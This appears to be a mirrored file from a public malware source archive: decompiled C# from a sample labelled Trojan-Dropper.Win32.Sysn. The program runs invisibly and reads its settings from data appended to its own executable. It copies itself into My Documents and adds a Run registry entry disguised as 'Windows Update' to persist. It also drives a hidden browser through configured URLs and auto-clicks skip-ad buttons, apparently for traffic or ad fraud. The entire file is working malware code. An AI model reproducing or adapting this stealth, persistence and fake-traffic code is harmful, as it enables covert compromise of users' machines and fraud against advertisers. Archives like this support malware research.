mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
381 lines
12 KiB
C#
381 lines
12 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: stub.Form1
|
|
// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 17D3858E-04FD-40CF-9DA9-11D6E5F805B4
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Sysn.yqv-e3ce6ee871ba297ceca2922e381b424f0f7ea7460fd6109a19139958eafad3cd.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using Microsoft.Win32;
|
|
using stub.My;
|
|
using System;
|
|
using System.Collections;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Windows.Forms;
|
|
|
|
namespace stub
|
|
{
|
|
[DesignerGenerated]
|
|
public class Form1 : Form
|
|
{
|
|
private IContainer components;
|
|
[AccessedThroughProperty("Label2")]
|
|
private Label _Label2;
|
|
[AccessedThroughProperty("TextBox1")]
|
|
private TextBox _TextBox1;
|
|
[AccessedThroughProperty("WebBrowser1")]
|
|
private WebBrowser _WebBrowser1;
|
|
[AccessedThroughProperty("Timer1")]
|
|
private Timer _Timer1;
|
|
[AccessedThroughProperty("TextBox2")]
|
|
private TextBox _TextBox2;
|
|
[AccessedThroughProperty("TextBox3")]
|
|
private TextBox _TextBox3;
|
|
[AccessedThroughProperty("TextBox4")]
|
|
private TextBox _TextBox4;
|
|
[AccessedThroughProperty("TextBox5")]
|
|
private TextBox _TextBox5;
|
|
[AccessedThroughProperty("Timer2")]
|
|
private Timer _Timer2;
|
|
[AccessedThroughProperty("Timer3")]
|
|
private Timer _Timer3;
|
|
private string[] options;
|
|
private string text1;
|
|
private string text2;
|
|
private string text3;
|
|
private string text4;
|
|
private string text5;
|
|
private string cb;
|
|
private string time;
|
|
private const string Filesplit = "@BooleanBuilder@";
|
|
|
|
public Form1()
|
|
{
|
|
this.Load += new EventHandler(this.Form1_Load);
|
|
this.InitializeComponent();
|
|
}
|
|
|
|
[DebuggerNonUserCode]
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
try
|
|
{
|
|
if (!disposing || this.components == null)
|
|
return;
|
|
this.components.Dispose();
|
|
}
|
|
finally
|
|
{
|
|
base.Dispose(disposing);
|
|
}
|
|
}
|
|
|
|
[DebuggerStepThrough]
|
|
private void InitializeComponent()
|
|
{
|
|
this.components = (IContainer) new System.ComponentModel.Container();
|
|
this.Label2 = new Label();
|
|
this.TextBox1 = new TextBox();
|
|
this.WebBrowser1 = new WebBrowser();
|
|
this.Timer1 = new Timer(this.components);
|
|
this.TextBox2 = new TextBox();
|
|
this.TextBox3 = new TextBox();
|
|
this.TextBox4 = new TextBox();
|
|
this.TextBox5 = new TextBox();
|
|
this.Timer2 = new Timer(this.components);
|
|
this.Timer3 = new Timer(this.components);
|
|
this.SuspendLayout();
|
|
this.Label2.AutoSize = true;
|
|
Label label2_1 = this.Label2;
|
|
Point point1 = new Point(218, 146);
|
|
Point point2 = point1;
|
|
label2_1.Location = point2;
|
|
this.Label2.Name = "Label2";
|
|
Label label2_2 = this.Label2;
|
|
Size size1 = new Size(13, 13);
|
|
Size size2 = size1;
|
|
label2_2.Size = size2;
|
|
this.Label2.TabIndex = 1;
|
|
this.Label2.Text = "a";
|
|
TextBox textBox1_1 = this.TextBox1;
|
|
point1 = new Point(12, 139);
|
|
Point point3 = point1;
|
|
textBox1_1.Location = point3;
|
|
this.TextBox1.Name = "TextBox1";
|
|
TextBox textBox1_2 = this.TextBox1;
|
|
size1 = new Size(150, 20);
|
|
Size size3 = size1;
|
|
textBox1_2.Size = size3;
|
|
this.TextBox1.TabIndex = 2;
|
|
WebBrowser webBrowser1_1 = this.WebBrowser1;
|
|
point1 = new Point(12, 12);
|
|
Point point4 = point1;
|
|
webBrowser1_1.Location = point4;
|
|
WebBrowser webBrowser1_2 = this.WebBrowser1;
|
|
size1 = new Size(20, 20);
|
|
Size size4 = size1;
|
|
webBrowser1_2.MinimumSize = size4;
|
|
this.WebBrowser1.Name = "WebBrowser1";
|
|
this.WebBrowser1.ScriptErrorsSuppressed = true;
|
|
WebBrowser webBrowser1_3 = this.WebBrowser1;
|
|
size1 = new Size(269, 121);
|
|
Size size5 = size1;
|
|
webBrowser1_3.Size = size5;
|
|
this.WebBrowser1.TabIndex = 3;
|
|
this.WebBrowser1.TabStop = false;
|
|
this.Timer1.Enabled = true;
|
|
this.Timer1.Interval = 10000;
|
|
TextBox textBox2_1 = this.TextBox2;
|
|
point1 = new Point(12, 165);
|
|
Point point5 = point1;
|
|
textBox2_1.Location = point5;
|
|
this.TextBox2.Name = "TextBox2";
|
|
TextBox textBox2_2 = this.TextBox2;
|
|
size1 = new Size(100, 20);
|
|
Size size6 = size1;
|
|
textBox2_2.Size = size6;
|
|
this.TextBox2.TabIndex = 4;
|
|
TextBox textBox3_1 = this.TextBox3;
|
|
point1 = new Point(12, 182);
|
|
Point point6 = point1;
|
|
textBox3_1.Location = point6;
|
|
this.TextBox3.Name = "TextBox3";
|
|
TextBox textBox3_2 = this.TextBox3;
|
|
size1 = new Size(100, 20);
|
|
Size size7 = size1;
|
|
textBox3_2.Size = size7;
|
|
this.TextBox3.TabIndex = 5;
|
|
TextBox textBox4_1 = this.TextBox4;
|
|
point1 = new Point(165, 165);
|
|
Point point7 = point1;
|
|
textBox4_1.Location = point7;
|
|
this.TextBox4.Name = "TextBox4";
|
|
TextBox textBox4_2 = this.TextBox4;
|
|
size1 = new Size(100, 20);
|
|
Size size8 = size1;
|
|
textBox4_2.Size = size8;
|
|
this.TextBox4.TabIndex = 6;
|
|
TextBox textBox5_1 = this.TextBox5;
|
|
point1 = new Point(165, 182);
|
|
Point point8 = point1;
|
|
textBox5_1.Location = point8;
|
|
this.TextBox5.Name = "TextBox5";
|
|
TextBox textBox5_2 = this.TextBox5;
|
|
size1 = new Size(100, 20);
|
|
Size size9 = size1;
|
|
textBox5_2.Size = size9;
|
|
this.TextBox5.TabIndex = 7;
|
|
this.Timer2.Enabled = true;
|
|
this.Timer2.Interval = 6000;
|
|
this.Timer3.Enabled = true;
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|
size1 = new Size(284, 203);
|
|
this.ClientSize = size1;
|
|
this.Controls.Add((Control) this.TextBox5);
|
|
this.Controls.Add((Control) this.TextBox4);
|
|
this.Controls.Add((Control) this.TextBox3);
|
|
this.Controls.Add((Control) this.TextBox2);
|
|
this.Controls.Add((Control) this.WebBrowser1);
|
|
this.Controls.Add((Control) this.TextBox1);
|
|
this.Controls.Add((Control) this.Label2);
|
|
this.FormBorderStyle = FormBorderStyle.None;
|
|
this.Name = nameof (Form1);
|
|
this.ShowIcon = false;
|
|
this.ShowInTaskbar = false;
|
|
this.ResumeLayout(false);
|
|
this.PerformLayout();
|
|
}
|
|
|
|
internal virtual Label Label2
|
|
{
|
|
get => this._Label2;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
|
|
}
|
|
|
|
internal virtual TextBox TextBox1
|
|
{
|
|
get => this._TextBox1;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
|
}
|
|
|
|
internal virtual WebBrowser WebBrowser1
|
|
{
|
|
get => this._WebBrowser1;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._WebBrowser1 = value;
|
|
}
|
|
|
|
internal virtual Timer Timer1
|
|
{
|
|
get => this._Timer1;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
|
|
if (this._Timer1 != null)
|
|
this._Timer1.Tick -= eventHandler;
|
|
this._Timer1 = value;
|
|
if (this._Timer1 == null)
|
|
return;
|
|
this._Timer1.Tick += eventHandler;
|
|
}
|
|
}
|
|
|
|
internal virtual TextBox TextBox2
|
|
{
|
|
get => this._TextBox2;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
|
|
}
|
|
|
|
internal virtual TextBox TextBox3
|
|
{
|
|
get => this._TextBox3;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
|
|
}
|
|
|
|
internal virtual TextBox TextBox4
|
|
{
|
|
get => this._TextBox4;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value;
|
|
}
|
|
|
|
internal virtual TextBox TextBox5
|
|
{
|
|
get => this._TextBox5;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox5 = value;
|
|
}
|
|
|
|
internal virtual Timer Timer2
|
|
{
|
|
get => this._Timer2;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
|
|
if (this._Timer2 != null)
|
|
this._Timer2.Tick -= eventHandler;
|
|
this._Timer2 = value;
|
|
if (this._Timer2 == null)
|
|
return;
|
|
this._Timer2.Tick += eventHandler;
|
|
}
|
|
}
|
|
|
|
internal virtual Timer Timer3
|
|
{
|
|
get => this._Timer3;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
EventHandler eventHandler = new EventHandler(this.Timer3_Tick);
|
|
if (this._Timer3 != null)
|
|
this._Timer3.Tick -= eventHandler;
|
|
this._Timer3 = value;
|
|
if (this._Timer3 == null)
|
|
return;
|
|
this._Timer3.Tick += eventHandler;
|
|
}
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
|
private void Form1_Load(object sender, EventArgs e)
|
|
{
|
|
this.Opacity = 0.0;
|
|
this.time = Conversions.ToString(0);
|
|
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
|
this.text1 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|
this.text2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|
this.text3 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|
this.text4 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|
this.text5 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|
this.cb = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|
FileSystem.FileGet(1, ref this.text1);
|
|
FileSystem.FileGet(1, ref this.text2);
|
|
FileSystem.FileGet(1, ref this.text3);
|
|
FileSystem.FileGet(1, ref this.text4);
|
|
FileSystem.FileGet(1, ref this.text5);
|
|
FileSystem.FileGet(1, ref this.cb);
|
|
FileSystem.FileClose(1);
|
|
this.options = Strings.Split(this.text1 + this.text2 + this.text3 + this.text4 + this.text5, "@BooleanBuilder@");
|
|
FileSystem.FileClose(1);
|
|
this.TextBox1.Text = this.options[1];
|
|
this.TextBox2.Text = this.options[2];
|
|
this.TextBox3.Text = this.options[3];
|
|
this.TextBox4.Text = this.options[4];
|
|
this.TextBox5.Text = this.options[5];
|
|
this.Label2.Text = Conversions.ToBoolean(this.options[6]) ? "Yes" : "No";
|
|
this.WebBrowser1.ObjectForScripting = (object) false;
|
|
if (Operators.CompareString(this.Label2.Text, "Yes", false) == 0)
|
|
{
|
|
string myDocuments = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments;
|
|
string fileName = Path.GetFileName(Application.ExecutablePath);
|
|
MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, myDocuments + "\\" + fileName, true);
|
|
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
|
registryKey.SetValue("Windows Update", (object) myDocuments);
|
|
registryKey.Close();
|
|
}
|
|
this.WebBrowser1.Navigate(this.TextBox1.Text);
|
|
}
|
|
|
|
private void Timer1_Tick(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
HtmlElementCollection all = this.WebBrowser1.Document.All;
|
|
try
|
|
{
|
|
foreach (HtmlElement htmlElement in all)
|
|
{
|
|
if (Operators.CompareString(htmlElement.GetAttribute("id"), "skip_ad_button", false) == 0)
|
|
htmlElement.InvokeMember("click");
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
IEnumerator enumerator;
|
|
if (enumerator is IDisposable)
|
|
(enumerator as IDisposable).Dispose();
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
this.time = Conversions.ToString(Conversions.ToDouble(this.time) + Conversion.Val((object) 1));
|
|
this.Timer2.Start();
|
|
}
|
|
|
|
private void Timer2_Tick(object sender, EventArgs e)
|
|
{
|
|
if (Conversions.ToDouble(this.time) == 1.0)
|
|
{
|
|
this.WebBrowser1.Navigate(this.TextBox2.Text);
|
|
this.Timer2.Stop();
|
|
}
|
|
if (Conversions.ToDouble(this.time) == 2.0)
|
|
{
|
|
this.WebBrowser1.Navigate(this.TextBox3.Text);
|
|
this.Timer2.Stop();
|
|
}
|
|
if (Conversions.ToDouble(this.time) == 3.0)
|
|
{
|
|
this.WebBrowser1.Navigate(this.TextBox4.Text);
|
|
this.Timer2.Stop();
|
|
}
|
|
if (Conversions.ToDouble(this.time) != 4.0)
|
|
return;
|
|
this.WebBrowser1.Navigate(this.TextBox5.Text);
|
|
this.Timer2.Stop();
|
|
}
|
|
|
|
private void Timer3_Tick(object sender, EventArgs e)
|
|
{
|
|
if (Conversions.ToDouble(this.time) != 6.0)
|
|
return;
|
|
this.Close();
|
|
}
|
|
}
|
|
}
|